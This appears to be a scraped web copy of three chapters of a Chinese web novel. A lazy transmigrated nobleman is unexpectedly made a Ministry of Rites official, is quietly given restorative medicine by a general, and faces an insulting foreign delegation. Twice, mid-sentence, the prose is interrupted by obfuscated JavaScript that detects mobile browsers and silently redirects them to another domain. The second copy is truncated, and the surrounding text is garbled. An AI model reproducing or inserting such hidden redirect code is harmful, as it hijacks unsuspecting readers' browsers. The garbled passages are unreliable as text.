之后四五天,薛韧忙着安排分抚恤金的事情,故意没有立刻透露是容倦的功劳,一副要揽功的样子,想气一气这小子。 少年人多意气,本以为对方会上门气呼呼理论,谁知一打听,对方每天坐专车去酒楼,回府后逗鹦鹉,听说还买了不少鲜花置于院中,哪怕足不出户也可赏花。 明显压根不在乎名声二字。 想到一个纨绔,每天日子却过得不知羡煞多少人,气得加班多日的薛韧破口大骂。 这天风和日丽,容倦美美逗鹦鹉。 他已经和双开门鹦鹉熟了些。 这是只雄鹦,能处,聪明还亲人,容倦给它起名strong哥。 至于系统,正在欣赏千山万美图,长达百米的画卷全是系统美人,每一个都是圆形,很多只长着一张嘴。 容倦从前看过一次,十分惊悚。 系统抽空和他闲聊。 【我早上出去当gai溜子时,听到有老兵在酒馆说你好话。】 正在赏花的容倦觉得花都不香了,幽幽叹道:“薛韧怎么又不占这好处了?” 声名太旺迟早为名声所累,他可不想听那些称赞自己道德的溢美之词。 他不知道的答案,系统就更不知道了。 太阳西移,旁边的茶具冒着清香的热气,又荒废快乐了一天,容倦半眯着眼,听着摇椅独特韵律的嘎吱作响。 “众人皆忙而我独闲。”爽啊。 还没啊完,便被一阵略急促的步伐锵锵打断,容倦眯着的眼睁开前,似乎模糊看到管家的身影。 急什么? 他心想,管家这个年纪早该学会上班摸鱼了。 管家是冲他来的:“小公子别晃了,快去接旨。” 待容倦一头雾水被叫起来,跟着管家走到前院。已经有过几面之缘的长白眉太监再次出现在府中,这次他对待容倦的态度,明显比之前要恭敬很多。 “容大人,好事啊。” 容——大人? 你叫谁呢? 容倦还没反应过来,太监站定,进入院中摊开手中黄卷,开始恭敬宣旨: “……咨尔容恒崧,积礼义,尊道德,品性高洁,心有大义。特授尔为礼部员外郎,协助处理日常司务。” 双方距离很近,传来却犹如天外音,震得人皮焦里嫩。 每一个字容倦都认识,但连起来的时候,他甚至怀疑自己还没睡醒。 咬了下舌尖,确定不是做梦,容倦呼吸一滞。 真正的晴天霹雳! 待那圣旨沉甸甸地往手中一放,容倦终于回过神。 狗皇帝疯了吗? 还没想清楚其中蕴含的特殊政治意义,长白眉太监走下台阶,笑眯眯前来贺喜:“恭喜容大人,这可是前所未有的殊荣啊。” 礼部员外郎乃是正儿八经的从六品上,朝廷设九品之制,五品算是一个分水岭,不过似容倦这般,未满二十便坐到从六品上的位置,文官中实为罕见。 容倦捂住胸口,大口喘气。 有编制了! 是朝九晚五的编制啊,是口口都不要的编制啊。 看他气都喘不上来,太监翘指捋着长白眉:“瞧把您激动的。” 回头一定要和陛下禀报,容小公子接旨后激动得都快要晕过去了。 另一边,在听说容倦破格入仕后,身体刚好转一些的右相夫人同样如遭雷劈。 “我儿为入仕,活活挨了一刀,他一个短命鬼,凭什么,凭……” 话没说完,再度昏死过去。 8.互传 容倦此刻的绝望不亚于郑婉和容恒燧。 和他们不同的是,容倦是无辜的。整个过程中,他做错了0件事。 “为什么?” “我做错了什么,要这么对我?” 手中的圣旨活像催命符,容倦一直到现在都没缓过来。 他哑着嗓子语气颤抖,咕哝着什么,整个人如丧考妣。 系统该严谨的时候,还是很严谨的,在他把心中所想无意识道出时,开始纠错。 【如丧考妣?这对你现在的身世来说,和喜极而泣有什么区别?】 【小容,正确的说法是,你绝望的像是丞相一家长命百岁。】 容倦发出男鬼一样呼呼呼的笑声,系统识相闭嘴了。 随后,容倦又如鬼一样飘荡去了书房重地。 …… “我无才无德,陛下何故降下旨意?” 容倦自己懒得思考,系统AI又不靠谱,于是他找到了行走的脑机。 谢晏昼还是第一次见人要做官和要上坟一样。 最震惊的要属亲信,正议事时被突然闯入,而自家最讲究规矩的将军竟然没有生气,还让他稍停一下,之后再探讨。 谢晏昼淡定合上机密文件。 “你可知为了能入帝王眼为官,你那大哥付出了多少?” 容倦不答。 哦?怪自己不知好歹了。 “所以陛下为何要赐我官位?” 谢晏昼看他,容倦反看回去。 没有解释其中原因,谢晏昼重新开始处理正事,容倦只能识趣离开。 不过他走前,谢晏昼忽然道:“日后出门让陶文陶勇兄弟跟着你。” …… 书房附近的水池里养了荷花,路过时沁人心脾,池边站着的少年却毫无兴致。 系统哄他开心:【小容,谢晏昼派武人跟着,要么监视,要么保护,AI算出来是后者。】 容倦指着倒影中自己的脑袋:“听君一席话,胜读一席话。” 谁家监视会提前通知? 路过的管家见有人对自己的脑袋指指点点,确定容倦脑子不太好了,摇摇头走开。 系统二度发力:【针对目前收集到的信息,正在展开皇帝行为模式的分析… 宿主成功解决帝王燃眉之急,得罪权贵,符合多疑者对孤臣的需求。】 似乎觉得少了点什么,系统:【小容,好像哪里不太对,你能帮我训练一下AI吗?】 大懒使小懒的结局变成了小懒没得懒。 “哎。” 从接旨开始,容倦已经不知道叹了多少口气,他思考了零点零五秒:“根据谢晏昼的说法,我那好大哥拼了命也想要做官。” 便宜爹早晚要安排子嗣入仕,皇帝多疑,比起和容承林一条心的长子,当然更愿意重用自己。 既然已经起用了一子,不可能再去重用另一个。 自己俨然成为容恒燧做官路上的绊脚山,所以才需要被保护起来。 【他要杀你?】系统惊疑,【但他们短期内再动手,很可能会偷鸡不成蚀把米。】 因为督办司四处放消息,如今有关丞相夫人的传言,过去小半月都还没压下去呢。 “事关前途,哪里还有理智。” 万一自己迟迟不死,或者七八年后再死,容恒燧怎么等得起。 容倦努力想点和做官无关,开心点的事情。 那日路边吃的小馄饨味道不错,看能不能让厨师也包点。至于容恒燧,容倦只分给了他0.000000000001的脑容量。 外有陶家兄弟保护,真到了危急时刻,系统还能离体,胖拳打镇关西。 旁人想要害他,成功概率太低。 “时不我待啊,好在入职手续通常要大半月,走吧,先去厨房。” 容倦准备抓紧时间享受最后的清闲。 时间确实不等人,到了他这里直接变成了只争朝夕。 翌日工部差人来量体裁衣,两日后,委任状和印信一并送到。 容倦甚至没有经过朝仪训练,直接被赶鸭子上架。 “??” 梁永定三十年,天未明,容倦迎来了人生中第一次通勤。 礼部到皇宫不远,但距离将军府很远。当天一早,将军府中一阵手忙脚乱,容倦几乎是半昏迷地被管家叫人抬上马车,期间根本不知道发生了什么,随着哒哒哒的马蹄声一路颠簸,抵达办公地点时两个武人用了内功狮子吼才叫醒他。 “吼——” 容倦一个激灵,鲤鱼打挺的瞬间头撞到了车顶。 他捂着脑袋,疼得哆嗦。 陶勇一见闯祸,暗道完了,这小公子指不定要发一通脾气。 容倦缓了缓道:“提醒我,回头在内层车顶也缝层貂。” “……” 睁着一只眼,容倦捂着一边额头,先伸出一只腿,颤颤巍巍下车。 前方,高悬的牌匾直刺右眼帘。 礼部整体建筑风格秉持庄重原则,两边立端正铜鹤雕,虽天还没亮,但已经有官员在来来回回进出,有的手中还抱着大量文书。 闲杂人等不能进入办公区域,奉命保护他的陶家兄弟在门外守着。 早起毁一天,容倦整个人昏昏沉沉的。 周围官吏们一个比一个忙,压根没人多看他一眼,容倦也不知要去何处报道。 “可是新入职的官员?随我来。” 容倦稍微提起了两分精神,转身准备感谢好心人时,发现来人头发白了大半,顶着两个大黑眼圈,走路都显得不那么稳。 系统打了个呵欠:【小容,从朝服看,他官职远在你之上。】 容倦对此人有些印象,当日在宫宴上,自己要替谢晏昼解围换取人情前,这位官员似乎有起身说话的趋势。 那个时候敢发言的,肯定不是普通人。 工作之前,容倦还是稍稍打听了一下情况。 礼部尚书年前出事,之后皇帝一直没有再行任命,暂由几位侍郎代工,其中一位侍郎又因科举案刚刚问斩。 整个礼部,权能几乎集中在个别人身上,眼前这位提职尚书也是早晚的事情。 这样的大官,居然主动带自己去办理入职手续。 容倦想了想:“谢将军让您关照我的?” 老人家笑笑转移话题,只介绍起自己:“老夫姓孔,五十有三,日后有不明白的地方可以随时找我。” 五十三?这看上去都风烛残年了! 容倦惊醒了。 似乎看出他的想法,孔大人慈眉善目道:“青出于蓝胜于蓝。小公子年纪轻轻便能从六品,再努力一下,位居五品上时就能和老夫一样,荣幸地参与早朝。” 容倦隐隐抓住了重点:“……冒昧问一下,早朝是几时?” “五更。”孔大人道:“官员要提前排队,上完朝赶过来衙署刚好是辰时。” 换算一下,那就是凌晨四五点排队早朝,无缝衔接到了七点开始办公。 容倦险些当场惊厥。 见他不太了解这些基本常识,孔大人边走边科普:“礼部常有急务,五十以下官员,都需轮流值守夜班。如遇朝廷大典,科举,外交等,全部人要通宵。 如今人手紧缺,不久后乌戎使团会来,所以才会急召你入职。” 凌晨上班,轮流夜班,再过几日还要通宵,综合以上信息,容倦再也控制不住,立刻作势要晕倒。 孔大人别看身体不行,动作却很快,第一时间伸出援手,稳稳抓住他。 “来,老夫扶你进去,需要叫大夫吗?” 孔大人倾情推荐:“临街全是大夫,其中李氏药铺和王氏药铺给我们看诊,只收八成价。” 他们礼部看病,向来量大从优。 都有团购了。 拼好病吗? 容倦讪笑:“不必,我就是有点中暑。” 孔大人摇头:“瞧你这虚的,启明星都没落下,就中暑了。” “呵呵。” 有一说一,孔大人浸润在礼部几十年,跟着他办事省了不少弯路,又有谢晏昼提前打过招呼,是以并未给容倦派太多的工作。 下值后,容倦特地准备带点回礼给谢晏昼。 经打听,祥味斋的糕点清甜而不腻,价格优惠,每日门前都会排很长的队伍。 可惜他来得太晚,来的时候刚好卖完。 “是容少爷吗?” 老人一眼认出他,十分激动,硬要把自己这份塞给他。 “阵亡的恩恤银一直都拖着,这次竟然一次性到位。” 容倦眼皮一跳,督办司天天就知道放消息,不敢想象自己的名声已经洗白了。 “日子要好起来了。”收到了钱,今日刚好赶上她孙女的生辰,还路遇恩人,老人觉得这是一切都是吉祥征兆。 她说得感恩戴德,颇为激动的样子让容倦回府路上暗暗摇头。 繁华帝京背景下,外城百姓如同格格不入的图层,稍微能融入一个边缘,就已心满意足。 天气多变,转眼间阳光便被乌云逼得层层后退,似乎有下雨的征兆。 系统:【下午到明天白天,多云转阵雨,23°~32°,推荐购买雨具哦。】 容倦随手买了把伞,马车刚驶入内城时,一阵急促猛烈的雨点砸了下来。 手中的伞避免了他成为落汤鸡的命运。 这个天气容不得缓慢踱步,容倦脚步匆匆入府,准备去传递糕点。 书房大门虚掩,露出小半缝隙。 从外面望去,隐约能看见薛韧和一位陌生女子的身影。 这里的人都有功夫,早在扣门前,容倦就引起了几人注意。他直接探进去半个胳膊:“人民群众送的。” 也不知道这糕点有多好吃,那么多人排队买。 谢晏昼淡声道:“进来吧。” 见容倦目光流连在竹筒,他不知怎地想起幼时见到的馋嘴小马驹,难产生下来刚开始都站不起来,但是特别护食。 谢晏昼把桂花糕往前推了点。 容倦最终还是没忍住,快速吞了一个,直皱眉头。 “唔……不……是说不腻的吗?” 谢晏昼看他吃没吃相:“囫囵吞枣,自然齁得慌。” 一旁过来归还战亡名册的薛韧看得咋舌,死活想不明白,将军明明最讨厌无所事事的二世祖,什么时候这么有包容心? 在容倦彻底咽下糕点后,谢晏昼平静地望向青衣女子。 青衣女子立刻笑着俯下身子。 “真这么好吃?” 美人在侧主动亲近,脂粉香飘了过来,容倦连忙躲开。 见女子依旧保持着半俯身的姿势说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355065|183225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不着痕迹把凳子往旁边拉了下。 谢晏昼目光幽深,薛韧渐渐收起了没正经的笑容。 男女授受不亲,避开很正常,但放在一个经督办司查证有不少调戏民女劣迹的人身上,就不那么正常了。 不举可以导致一个纨绔的生理性厌恶,甚至是其他异行。 但其中绝不会包括青涩。 薛韧忽道:“小师妹常年随军,非常贪零嘴。” 容倦看了一眼女子,这肤色体格不像是什么女武将。 “我是兽医。” “原来如此。”打仗离不开战马,好的马医在军队里很吃香。 女子又说了几句京城哪家铺子好吃,哪家一般后,薛韧胳膊碰了下她,才开始给谢晏昼汇报战马数量等情况,涉及军务,容倦识相起身离开。 上了一天班,他现在整个人都不太好,要赶紧回去补觉。 雨越下越大,屋内的声音却渐渐消失了。 谢晏昼盯着容倦撑伞离开的身影,目中存着一些沉思。 薛韧眉头拧起,直言道:“一个人不可能短时间内性情大变。” 这吃人的世道,更不会变得聪明良善。 他忽然冒出一个大胆的想法,不自觉压低声音:“将军觉得,会不会是被相貌相似者替换?” 谢晏昼摇头。 薛韧和女子对视一眼,不明白为何他如此笃定。 “容恒崧发生变化后,右相深受其害。”谢晏昼淡定地说道:“有理由害他的只有我和义父。” 他们暂时没那么闲,搞太子换狸猫的戏码。 “……”大道至简,说的对极了。 谢晏昼手指轻点着桌面,敲击声和雨滴哒哒声逐渐重叠,内心清楚即便不是冒名顶替,也定有其他隐情。 他思考时,没人敢说话。 过了片刻,雨声渐渐小起来。 谢晏昼终于开口了,看向薛韧:“你先去给他下点能调理身体的药,混在每日膳食中。” 活着,才能套出秘密。 女子直接瞪大眼睛。 她现在怀疑将军被掉包了! 上次谢晏昼命人下药,还是污染了乌戎一个部落的水源。 结果军队存活率很高,但对面的惨状,女子用了很久才忘记。这也是谢晏昼被诟病的原因,文官参他有伤天和,罪不及老弱。 按照对方的正常思路,难道不该是结果了容家子?直接将危险扼杀。 然后再冷冰冰说一句:“是谁派来的不重要,反正敌人就那么几个,不要在这种事情上浪费时间。” 她忍不住看向薛韧,咱将军没问题吧? 谁知薛韧几乎没怎么考虑说:“将军英明。” “……”你也被奶娘抱错了。 ———— 容倦这一觉睡得不知天地为何物。 最后他活生生饿醒,五品以下的官员每天只有早午两顿工作餐,味道还很一般,全靠临时塞的一口糕点撑到现在。 厨房有预留宵夜,在他醒后送过来,三菜一汤,新鲜莲藕的味道清甜脆嫩。 容倦端到窗边,边欣赏雨景边用餐。 勺子刚喂到嘴边,系统:【警告!】 【警告!】 容倦连忙放下汤勺,以为是有毒,正要去催吐,系统先一步提取完成分进一步分析: 【警告,下了养生药。警告,下了养生药!】 “咳咳……”容倦险些给呛住。 一通猛拍胸口后,勉强吐出一句话:“你说什么?” 【汤里加了一点清毒配方的成分。】 这药方倒是很妙,坚持服用倒可以勉强回点元气,延续些许光阴。 鲜美的鸭子汤里居然被加料了,孰能忍? “谁?谁居然敢在将军府给我下解药?!” 系统这时候AI又流畅了:【将军吧。】 “……” 空气中的安静持续了好一会儿。面对反人类的举动,容倦不得不主动思考起来。 能有这种医术的寥寥无几,刚刚才见过薛韧,药应该是他配的。如果不是薛韧自发性行为,好像确实只有这个答案。 “谢晏昼他,为什么要这么做?” 这个疑问一直持续到睡觉,心中一压事,就容易睡不好。 吃饱喝足一沾枕头入眠后,容倦连续做了几个杂乱的梦,梦中一会儿有给他塞糕点的老人,一会儿有谢晏昼,他指挥两名亲卫押住自己,残忍地让薛韧给他灌解药。 “喝,卸了下巴,也要让他把解药喝干净!” “喝!” “给我喝得一干二净。” 容倦被吓醒了。 系统也醒了。 【你的脑神经吵到我了,小容,何至于此?反正下药的应该是好心。】 容倦不语。他有些抵触他人突然的友善,万一接触多了,影响对事物的判断怎么办?干他们这行的,最忌讳和封建时代下的一切产生共情。 翌日雨停,阴天,天没亮出门当午夜牛马。 路上,容倦抓紧时间补觉,结果噩梦重温。 礼部的孔大人刚上完早朝回来,准备踏进礼部朱红色的大门时,迎面驶来的披貂车架内传来梦呓声。 “为什么?” “我做对了什么,你要这么对我?” 孔大人:“……” 9.使团 孔大人觉得容倦脑子有点不正常了。 他们礼部又多出一个新的病种。 连续数日,容倦心情一塌糊涂,编制让他弃明投暗。 何须解药? 现在一天过得像十天一样,无形中生命得到了另类延续。 又逢一个工作日,容倦幽灵一样飘进去:“早上好,我已是百岁老人。” 不算核心官员,礼部共计四十余人,这会儿几乎全员来齐,看着踩点到的容倦,都只是抬头看了一眼,然后不说话。 从容倦第一天来这里便是如此。 除了孔大人,没一个同僚对他有好脸色。 十年寒窗无人问,而有人却能直接被任命,搁谁心里也平衡不了。 连同容倦在宫宴上的举动也被解读成了精心设计,故意抓准机会大出风头。 和他一起居外郎一职的官员名为侯申,私下更是直接对同僚道:“我羞与此獠为伍。” 文官整起人来九连环似的,不会直接做言语交锋,主打一个不管容倦问什么公务,一问三不知。 一个不了解体制的新人,无人引导,工作肯定无法进行。 他们算盘打的极好,一来二去,孔大人定也会觉得麻烦,心生厌恶。 奈何容倦完全不自耗,做不了就不做,开始每天待在工位上养起花来。 脆弱凤仙花。 花如其名,不好养。 “凤鸟久不至,花枝空复名……” 这个时代没有空调,大夏天忙得热火朝天,转头看到个吟诗作对品茶的奇葩,气性大的险些又要去光顾隔壁街的郎中。 上午,太常寺的人来了。 太常寺专管祭祀礼仪,经常和皇室打交道,里面官员人脉各个很广,总体权利高于礼部。 孔大人今日不在,其他人退得很快,容倦无形中首当其冲。 啪。 太常寺来的官员将前些日子礼部负责起草的文书扔在桌子上,吹胡子瞪眼道:“看看你们这都写的什么?我之前不是和你们说了,要……” 这份草拟的文书容倦有印象,好像是侯申主笔,已经递交过三遍,每次都是按照太常寺要求来改。 结果明显更上一级的官员觉得不行,对方立刻翻脸不认人,问他们为什么要写成这样。 同僚们投来幸灾乐祸的眼神,这种事常有,只能吃哑巴亏,如果争辩会被喷出路边一坨。 看着眼前趾高气扬的中年人,容倦平静放下修剪花枝的手,缓缓道出五个字:“我爹容承林。” “……” 太常寺来的官员愣了一下:“你在……” 刚想骂你在说什么,忽然反应过来这个名字后面所代表的力量,话到嘴边又憋了回去。 最终在容倦似笑非笑的注视下,太常寺来的官员莫名有些怂,匆匆扔下句‘重新修’,便跑了。 中午,兵部的人来了。 容倦:“我义兄谢晏昼。” “觉得哪里有问题,我让他指点修改一二。” 兵部官员:“……” 下午,户部的人来了。 容倦:“我干爹大督办,专给人开户的大督办。” 户部官员:“……” 旁人无恐避之不及的,容倦通通不管。 “我需要避他们锋芒?” 一位同僚用午膳时和侯申小声道:“其实他在这当个吉祥物也挺好。” 侯申撇撇嘴,没否认。 靠着什么都不做,容倦硬生生把自己活成了礼部的顶梁柱。 几日后,顶梁柱又发现了一个‘豆腐渣’工程。 礼部通常下午五点到七点下直,也就是常说的下班,这意味着它没有特别固定的时间。 孔大人代替了钟表的作用,每天他走后,大家才敢离开。 而孔大人每天不知道在燃什么,一把年纪经常耗到晚七点,偶尔还会过时。 考虑到对方也算对自己照顾有加,容倦便让系统写了封匿名信,强烈要求卡点下直。 系统模仿了几十位官员的字迹,匿名信内容如下: 何时下直? 何时下直? 何时下直? 何时下直? …… 密密麻麻全是他的怨念。 当天,容倦就发现孔大人看自己的眼神不太对,临近酉时,孔大人还是没忍住:“年纪轻轻的,有意见就当面提,你写什么信呢?” “……” —— “太尴尬了。” “你说孔大人怎么发现匿名信是我写的?” 终于准点下班,容倦坐在将军府私改的跑马场旁,两眼发直问。 近日他和谢晏昼在互相下药间,关系无形中拉近了很多。 谢晏昼正在遛银啸,这马使劲往容倦这里凑,试图接受对方的投喂。 余光打量着没出息的爱马,谢晏昼淡声道:“礼部本没有匿名信。” 容倦秒懂:“我来了,便有了。” 答案自现,谢晏昼转身准备去换下跑马时被汗浸润的衣服。 远处传来鸟叫声,将军府中养着不少珍贵品种的鸟,容倦福至心灵:“等等,能让人帮我训只鸟吗?” 别说鸟,谢晏昼训鹰的本事都属一流,他顿步等对方的理由。 容倦喜滋滋道:“这样以后送草拟文书啊,匿名信啊这些,我都可以让鸟去。” 省了他走动的麻烦。 谢晏昼气笑了,就没见过这么懒的,遂即重新迈开腿不再理他。 容倦连忙追上去:“等等,我还有一终身大事。” “你最大的事,是重新找个夫子学语言。” 容倦提起宫宴上的人情:“将军,我们礼部的茅厕一言难尽,修葺费用一直下不来,能帮大家走动下关系,让资金早点批下来吗?” 谢晏昼以为是听错了,抬眼数秒,只瞧见了对面那双清风明月般眉眼间的坚定。 “你要用我的人情……换厕?” 银啸似乎感觉到了主人语气下恐怖的气场,默默后撤了几蹄。 容倦重重点头。 礼部那茅厕前几年被雷劈过一次,后面只草草修补,状态几乎可以和旱厕媲美。 地面还有青苔,十分湿滑。 国库吃紧,每次申请下来的资金全部被部门优先用来发成津贴。比起环境好的厕所,大家更愿意拿到实打实的银子。 这可苦了容倦,有次吃坏肚子,险些打滑掉进去。 “饱汉不知饿汉,呃……是马上不知马下苦,你不知道,我每次在那里如厕还要背口诀。” 否则稍有不慎就会如流星般坠落。 谢晏昼皱起眉头:“什么口诀?” “两脚开立,与肩同宽,屈膝下蹲掌抱腹前。” 容倦稍稍演示,后悲从心来。 “意守丹田——” 最后四个字尾音扬的很长,很长,悲鸣在整个跑马场回荡。 空气安静得可怕。 半晌,谢晏昼冰冷的神情出现裂缝,终是没忍住,转身离开后他脚步不停,只是肩头似乎微微抽动。 同一时间,督办司。 一名下属正在汇报近日礼部种种。 容倦的身份,性格转变以及体现在他身上种种的巧合,引得暗中不少人都在观察,督办司就更不例外。 京城到处有他们的探子,有的探子身份甚至是官员,他们会暗中观察着每一个人说了什么,做了什么,那种无孔不入的阴冷感,始终像是一团乌云漂浮在朝堂上,令官员们深恶痛绝。 “容恒崧入职后,只做了一件事情,狐假虎威。” 大督办桌上放着密信等,心不在焉听着,密信中是不久前关于定王造反的相关信息。 这桩由丞相亲自平定的谋反案,他总觉得其中有些问题,容承林这个老狐狸,到底在盘算什么? 当听到狐假虎威时,大督办随意问说:“老虎是谁?” “你。” 下属一秒严谨补充:“你们。” 大督办掀起耷拉的眼皮,下属瞬间倍感压力,连忙事无巨细说了遍。 听完,大督办问:“他借住将军府时,可有什么动作?” “有动作的是将军,将军忙着找工匠给他修厕所呢。” “……” 下属小心问:“不知道是不是您的虎皮更有用点,这两天容恒崧遇谁都是‘有本事找我干爹说去’,需要警告一下吗?” 大督办默了下后笑说:“随他吧。” 随后,提起另一件要事,神情重新变得严肃:“乌戎使团即将抵达,内城绝不可乱,从各府衙抽人加强戒备。” “是!” · 永定三十年夏,礼部茅厕翻修,普部门同庆。 容倦的生活水平提升到了一个新的高度,日常除了赏花,还养了只小麻雀。 这会儿倒是没人诟病他了。 某种意义上,这个官二代吃喝玩乐中发挥的价值,可比写几份文书重要多了。 同年月底,日头最毒辣的这一日,乌戎使团抵京。 原本就不清闲的礼部这下更是忙得死去活来,一向温和的孔大人都开始暴躁了,几乎脚不沾地的各处做协调。 容倦从前是个学霸,让他写十万字博士论文可以,但写公文,一个小时都憋不出来几个字。穿越这么多次,文职他是一次没干过。 他找孔大人说明情况:“我没经过备案培训。”至于系统,历朝历代公文格式不同,这个史缺就更不行了。 “无碍,先写,不对的地方我再和你说。” 容倦信了,然后就看到孔大人转头对刊印官员怒斥,“涉及礼仪规范的内容是闭眼写的吗?还有错漏字,狗屁不通!文人之耻!” “……” 容倦默默回归工位。 “贤弟,贤弟。” 声音太轻了,容倦还以为走老鼠了,左右环视。 “贤弟,这里。”一向看不惯容倦的侯申忽然主动过来搭话:“我有一个好去处。” 容倦用古怪的目光看着他,这人不是前不久还在孤立自己? “叫我莽弟。”他现在已经不闲了,只想当个文盲。 侯申忽视稀奇古怪的回应,蛊惑问:“稍后需要派人去使团会馆核对物品明细,你不如同我一道?” 容倦瞬间心动。 “你可别上他的当!”刚从崭新茅房急急忙忙回来的官员感念其恩德,提醒道:“你不知道使团那些人有多难打交道。” 容倦顺手逗弄手边的小麻雀,翅尖剐蹭过掌心,给他挠得很痒。 闻言,容倦随意问说:“他们不是才吃了败仗?” 官员一连三叹:“乌戎原本部落矛盾不断,分南乌戎,北乌戎。谁知这次大败,南北联合,先是灭了一些西域小国,听说还想学我们自起国号,为玥。” 若只是边境,大梁下狠心耗损国力或许也能灭之,问题在于东南沿海一带还有外族虎视眈眈,就等着趁虚而入。 侯申忍不住插话道:“可惜,谢老将军在世时,沿海小族尚不足为惧。” 他说的义愤填膺:“圣上却迟迟下不定狠心灭乌。谢将军子承父志,用兵如神,前两年打也能有八成把握,偏偏圣上一拖再拖,导致两边都壮大起来……” “侯申!” 那名官员厉声打断他,居然妄议圣上,命不想要了吗? 侯申自知失言,慌乱道:“你们当没听到,陛下还是很英明的。” 容倦只是笑笑,他其实对老皇帝也没啥好印象。 正经人谁会过继这么多皇子,这不是在故意引发内斗?外忧时还玩帝王心术,大厦倾塌只是早晚之事。 “我愿和侯兄一道去。”在官员你疯了吧的目光中,容倦微笑说。 出外勤可比耗在这里好多了,一来一回随便找个理由,路上都能花个把时辰。 侯申眼前一亮,生怕他反悔,当即拽着人出门:“走。” “但我还有背书要写,需要请示孔大人。” “不必!回来我给你写。” 走出单位的那一刻,天是蓝的,空气是清新的。 雨后的天气,本就最适合睡觉,容倦提着鸟笼上车,病恹恹的一张脸蛋都多出了几分血色。 叽叽喳喳。 别说他,麻雀叫声亦是活泼了点。 与之相反,侯申愁容更重,想到还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他只想赶紧结束这烂差事,侯申上前和使团说了要先记录检查对方带来的觐见物品:“两族生活习惯不同,若有什么需要特别准备的东西,也可以告知于我。” 使团突然领队站起来,高在场所有人一个脑袋。 侯申不愿仰头去看,只能感觉到阴影靠近,汗毛直立。 乌戎使者这次却没有为难他,粗壮的手臂勾肩搭背,语言很流利:“不急。” 一开始容倦在后面,使者没看到他,这会儿突然瞧见那张非凡容貌,稍微失神了下,然后大笑:“这里的官员,一个个长得比营帐里的女奴好看!” 将朝廷官员比作奴隶,堪称天大的侮辱。 侯申先前被推出去说话,这会儿赶紧对容倦道:“别冲动。” 这会儿喊你爹是容相可没用了。 然而容倦现在眼里似乎只有麻雀,其他都是鸟语花香。 乌戎使者没在容倦面上看到气急败坏,很不满意,发现对方提鸟笼的手势很古怪,只用拇指和食指捏提鸟笼。 容倦啾啾和麻雀互动了一下,主动介绍:“它叫一点点。” “一点点,来,给使者打个招呼。” 麻雀哪知道什么,反正就是啾啾叫。 容倦:“一点点在向你问好。” 乌戎使者总觉得哪里不对劲,但又说不出来,反正就是不舒服,但再一想,他看梁国官员顺眼才奇怪。 使团领队手还没放下,非要强勾着侯申脖子,另一只胳膊还要来勾容倦的。 没勾上。 容倦这时倒是意想不到的灵活。 说是勾,其实更像是裸绞,侯申有些呼吸不畅时,双脚才终于重新彻底落地。 使团领队坐回原位,招呼道:“来,陪我们喝酒。” 他那不怀好意的视线再次从容倦面容上掠过,十分有侵略性地说道:“没有女奴陪着喝酒,酒都没滋味了,没想到惊喜在这里。” 旁边的使者故作小声说:“脸长得好,不知道皮肤摸上去是不是也好,听说他们中原人皮肤很细嫩。” 乌戎人肉|欲很重,且荤素不忌,还真挺馋容倦这口。 “哈哈哈!” 侯申脸上挂不住了,蛮夷自傲,像是在故意他们激动手。 其中恐怕还有试探之意,如果大梁有乘胜追击的想法,肯定不会忍,若再三示弱,那就证明大梁短时间不敢再开战。 侯申脑子都快烧着了,一边思考该怎么做,一边只能咽下窝囊气。 最后只能假装没听见,重复之前的问题。 然而乌戎使团只一个劲让他们来陪酒,其他一概不谈。 气氛逐渐变得紧张,旁边传来一道轻飘飘的声音:“饿了。” 说话时候微微带来的气流,容倦那一旦放轻便格外悦耳的嗓音,夏日里会带来清爽的错觉。 侯申无暇欣赏,都快要骂人了,什么时候了还想着吃饭? 这位高门关系户,该不会被气糊涂了? 实际容倦前所未有的清醒。 因为太吵了。 最后一丝睡意早已荡然无存,他转头看着外面的日头,平静估摸了一下时间。 如果自己还在礼部衙门,现在该要用午膳,期间能小憩一会儿。 不像会馆,空气质量很差,全是酒味和没煮熟的羊膻味,进门后自己一直站着,腿都给他站软了。 总之容倦现在又饿又看不到下班的希望,偏偏这些乌戎使团还在没完没了。 粗鄙的笑容,放肆的讥嘲交流。 各种声音环绕,容倦表情看不出什么变化。 须臾,他忽而低声道:“侯兄,我刚仔细想了想。” 侯申没好气道:“想什么?” “反正有一块免死金牌,我把使者杀了,然后我们去吃饭吧。” 容倦想的很仔细。 两国交战不斩来使,没交战,可以斩。 正焦头烂额的侯申:“……” 什么? 由于容倦语气太过平常,导致他一开始还没反应过来,等意识到对方在说什么,侯申瞬间面色剧变:“!!!” 你说什么?! 10.喜得 大夏天的,侯申感觉到裤管里被灌了冰水,冷得他直哆嗦。 “贤,贤弟……”他们日常关系很差,侯申却一连三遍开始称兄道弟,并且重点突出一个【贤】字。 点谁一目了然。 容倦请他放心:“我开玩笑的,杀人是个体力活。” 他一般不干的。 侯申还是有些不放心。 正常人谁会有这个想法? 容倦此刻真正如同平静的湖面:“我上去也打不过,不是吗?” 话虽如此,从一开始躲在侯申背后喂鸟,到现在他的视线一刻都未从乌戎人身上移开。 那种观察,度量,一般只会出现在丛林中极度耐心的捕猎者身上。 侯申终于松了口气,想一想是这个道理,来的时候,这位可是险些在马车上睡死过去。 真·睡死。 经历了容倦的惊骇之言,也无形中削弱了他对使团的几分发怵。 侯申当即硬气些说:“各位酒醉不太清醒,明日我们再来拜访。” 再留下去可能会发生不好的事情,甚至要走时,他还特意拽了把容倦的胳膊。 谁知乌戎使团领队看他们要走,反而主动配合了,大口灌了几杯酒。 “等等。”最嚣张的领队站起身:“不是要去清点核对物资?走,现在就去。” 侯申没有注意到他说话时,其他使者那背地里古怪的笑容。 